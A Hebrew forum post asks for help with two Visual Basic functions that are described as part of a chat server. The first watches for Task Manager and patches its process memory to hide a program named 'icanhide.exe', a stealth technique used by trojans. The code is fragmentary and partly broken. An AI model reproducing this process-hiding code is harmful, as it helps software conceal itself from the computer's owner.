ערכתי לאחרונה בתאריך 05.02.05 בשעה 11:35 בברכה, ScOrPiOn-m1
ניסיתי ליצור תוכנת שרת ביני לבין חבר שלי בשביל תקשורת מהירה והנה שתי הפונקציות שעושות בעיה .. :
פונקציה ראשונה שים לב להגדרה של המשתנה מיי פרוסס
Public Sub Timek_Timer()
Dim myProcess As PROCESSENTRY32
'Disable this event until processing complete. - Stops CPU hammering!!
Timek.Enabled = False
newproclist$ = ""
Dim mySnapshot As Long
myProcess.dwSize = Len(myProcess)
mySnapshot = CreateToolhelpSnapshot(TH32CS_SNAPPROCESS, 0&)
ProcessFirst mySnapshot, myProcess
'------------------
'Is this task new??
'------------------
If InStr(1, myproclist$, "") = 0 Then
'-----------------------
'Is this "taskmgr.exe"??
'-----------------------
If Left(myProcess.szexeFile, InStr(myProcess.szexeFile, Chr(0)) - 1) = "taskmgr.exe" Then
'----------------------------------------------------------
'Yes.. then disguise "icanhide.exe" in the processes memory
'----------------------------------------------------------
REPSTRINGINPROC myProcess.th32ProcessID, 1
REPSTRINGINPROC myProcess.th32ProcessID, 0
'Me.Hide
Else
DoEvents 'ignore this process
End If
End If
'create new process list (to replace myproclist$ later - the comparison list)
newproclist$ = ""
'Same as above but for each of the other processes
While ProcessNext(mySnapshot, myProcess)
If InStr(1, myproclist$, "") = 0 Then
If Left(myProcess.szexeFile, InStr(myProcess.szexeFile, Chr(0)) - 1) = "taskmgr.exe" Then
REPSTRINGINPROC myProcess.th32ProcessID, 1
REPSTRINGINPROC myProcess.th32ProcessID, 0
Else
DoEvents 'ignore this process
End If
End If
newproclist$ = newproclist$ & ""
Wend
'set myproclist to new processes against latest processes checked
myproclist$ = newproclist$
're-enable the timer
Timek.Enabled = True
End Sub
והנה הפונקציה השניה
Public Function CheckExplorer() As Boolean
Const PROCESS_ALL_ACCESS = 0
Dim uProcess As PROCESSENTRY32
Dim rProcessFound As Long
Dim hSnapshot As Long
Dim szExename As String
Dim Found As Boolean
Dim i As Integer
On Local Error GoTo Finish
Const TH32CS_SNAPPROCESS As Long = 2&
uProcess.dwSize = Len(uProcess)
hSnapshot = CreateToolhelpSnapshot(TH32CS_SNAPPROCESS, 0&)
rProcessFound = ProcessFirst(hSnapshot, uProcess)
Do While rProcessFound
i = InStr(1, uProcess.szexeFile, Chr(0))
szExename = LCase$(Left$(uProcess.szexeFile, i - 1))
If UCase$(Right$(szExename, 12)) = "EXPLORER.EXE" Then
Found = True
Call CloseHandle(hSnapshot)
GoTo Finish
End If
rProcessFound = ProcessNext(hSnapshot, uProcess)
Loop
Call CloseHandle(hSnapshot)
Finish:
If Found = False Then CheckExplorer = False
If Found = True Then CheckExplorer = True
End Function
יש התנגשות משום מה ב משתנה כפי שכתבתי בראש האשכול